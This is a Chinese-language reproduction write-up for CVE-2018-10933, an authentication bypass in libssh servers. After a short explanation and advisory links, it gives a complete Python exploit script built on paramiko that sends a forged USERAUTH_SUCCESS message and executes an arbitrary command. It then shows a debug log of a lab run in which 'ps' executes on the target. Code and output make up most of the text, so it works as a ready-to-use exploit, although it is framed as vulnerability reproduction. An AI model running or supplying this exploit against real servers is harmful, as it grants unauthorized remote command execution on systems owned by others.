libssh 服务端权限认证绕过漏洞（CVE-2018-10933）

2018-10-16 libssh发布更新公告旨在解决CVE-2018-10933的问题

libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。通过向服务端提供SSH2_MSG_USERAUTH_SUCCESS消息来代替服务端期望启动身份验证的 SSH2_MSG_USERAUTH_REQUEST消息，攻击者可以在没有任何凭据的情况下成功进行身份验证。进而可以进行一些恶意操作。

参考资料：

https://www.libssh.org/security/advisories/CVE-2018-10933.txt
https://www.seebug.org/vuldb/ssvid-97614

漏洞复现:

参考 https://www.seebug.org/vuldb/ssvid-97614 中给出的POC，我们编写一个简单的漏洞复现脚本：

#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

查看版本：

执行脚本：

xxxxxx@kali:~/data$ python3 CVE-2018-10933.py 192.168.3.5 2222 "ps"
DEBUG:paramiko.transport:starting thread (client mode): 0x1982d050
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.4.1
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-libssh_0.8.1
INFO:paramiko.transport:Connected (version 2.0, client libssh_0.8.1)
DEBUG:paramiko.transport:kex algos:['curve25519-sha256', 'curve25519-sha256@libssh.org', 'ecdh-sha2-nistp256', 'ecdh-sha2-nistp384', 'ecdh-sha2-nistp521', 'diffie-hellman-group14-sha1', 'diffie-hellman-group1-sha1'] server key:['ssh-rsa'] client encrypt:['chacha20-poly1305@openssh.com', 'aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] server encrypt:['chacha20-poly1305@openssh.com', 'aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] client mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] server mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] client compress:['none', 'zlib', 'zlib@openssh.com'] server compress:['none', 'zlib', 'zlib@openssh.com'] client lang:[''] server lang:[''] kex follows?False
DEBUG:paramiko.transport:Kex agreed: ecdh-sha2-nistp256
DEBUG:paramiko.transport:HostKey agreed: ssh-rsa
DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
DEBUG:paramiko.transport:MAC agreed: hmac-sha2-256
DEBUG:paramiko.transport:Compression agreed: none
/home/e2a5e/.local/lib/python3.7/site-packages/paramiko/kex_ecdh_nist.py:39: CryptographyDeprecationWarning: encode_point has been deprecated on EllipticCurvePublicNumbers and will be removed in a future version. Please use EllipticCurvePublicKey.public_bytes to obtain both compressed and uncompressed point encoding.
  m.add_string(self.Q_C.public_numbers().encode_point())
/home/e2a5e/.local/lib/python3.7/site-packages/paramiko/kex_ecdh_nist.py:92: CryptographyDeprecationWarning: Support for unsafe construction of public numbers from encoded data will be removed in a future version. Please use EllipticCurvePublicKey.from_encoded_point
  self.curve, Q_S_bytes
/home/e2a5e/.local/lib/python3.7/site-packages/paramiko/kex_ecdh_nist.py:103: CryptographyDeprecationWarning: encode_point has been deprecated on EllipticCurvePublicNumbers and will be removed in a future version. Please use EllipticCurvePublicKey.public_bytes to obtain both compressed and uncompressed point encoding.
  hm.add_string(self.Q_C.public_numbers().encode_point())
DEBUG:paramiko.transport:kex engine KexNistp256 specified hash_algo <built-in function openssl_sha256>
DEBUG:paramiko.transport:Switch to new keys ...
DEBUG:paramiko.transport:[chan 0] Max packet in: 32768 bytes
DEBUG:paramiko.transport:[chan 0] Max packet out: 35000 bytes
DEBUG:paramiko.transport:Secsh channel 0 opened.
DEBUG:paramiko.transport:[chan 0] Sesch channel 0 request ok
DEBUG:paramiko.transport:[chan 0] EOF received (0)
DEBUG:paramiko.transport:[chan 0] EOF sent (0)
  PID TTY          TIME CMD
    1 ?        00:00:00 sh
    6 ?        00:00:00 ssh_server_fork
    8 ?        00:00:00 ssh_server_fork
    9 ?        00:00:00 sh
   10 ?        00:00:00 ps